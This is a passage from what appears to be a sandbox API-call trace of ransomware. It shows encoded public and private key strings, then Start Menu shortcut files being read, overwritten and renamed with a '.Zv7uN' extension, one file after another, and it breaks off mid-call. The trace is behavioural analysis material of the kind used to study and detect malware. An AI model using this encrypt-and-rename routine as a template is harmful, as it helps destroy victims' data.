CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.757] GetCurrentThreadId () returned 0xa30 [0132.757] GetCurrentThreadId () returned 0xa30 [0132.757] GetCurrentThreadId () returned 0xa30 [0132.757] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.757] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.758] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.758] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4e0 [0132.758] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.758] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4e0, lpOverlapped=0x0) returned 1 [0132.839] CloseHandle (hObject=0x1e8) returned 1 [0132.839] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.842] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4e0, lpOverlapped=0x0) returned 1 [0132.844] CloseHandle (hObject=0x1e8) returned 1 [0132.849] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk.zv7un")) returned 1 [0132.851] GetCurrentThreadId () returned 0xa30 [0132.851] GetCurrentThreadId () returned 0xa30 [0132.851] GetCurrentThreadId () returned 0xa30 [0132.851] GetCurrentThreadId () returned 0xa30 [0132.851] GetCurrentThreadId () returned 0xa30 [0132.851] GetCurrentThreadId () returned 0xa30 [0132.852] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1d77c9b3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="services.lnk", cAlternateFileName="")) returned 1 [0132.852] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.852] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.852] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1d77c9b3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x508)) returned 1 [0132.853] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk")) returned 0x20 [0132.853] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk", dwFileAttributes=0x80) returned 1 [0132.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0132.856] GetCurrentThreadId () returned 0xa30 [0132.856] GetCurrentThreadId () returned 0xa30 [0132.856] GetCurrentThreadId () returned 0xa30 [0132.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.857] GetCurrentThreadId () returned 0xa30 [0132.857] GetCurrentThreadId () returned 0xa30 [0132.857] GetCurrentThreadId () returned 0xa30 [0132.857] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.858] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.858] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, 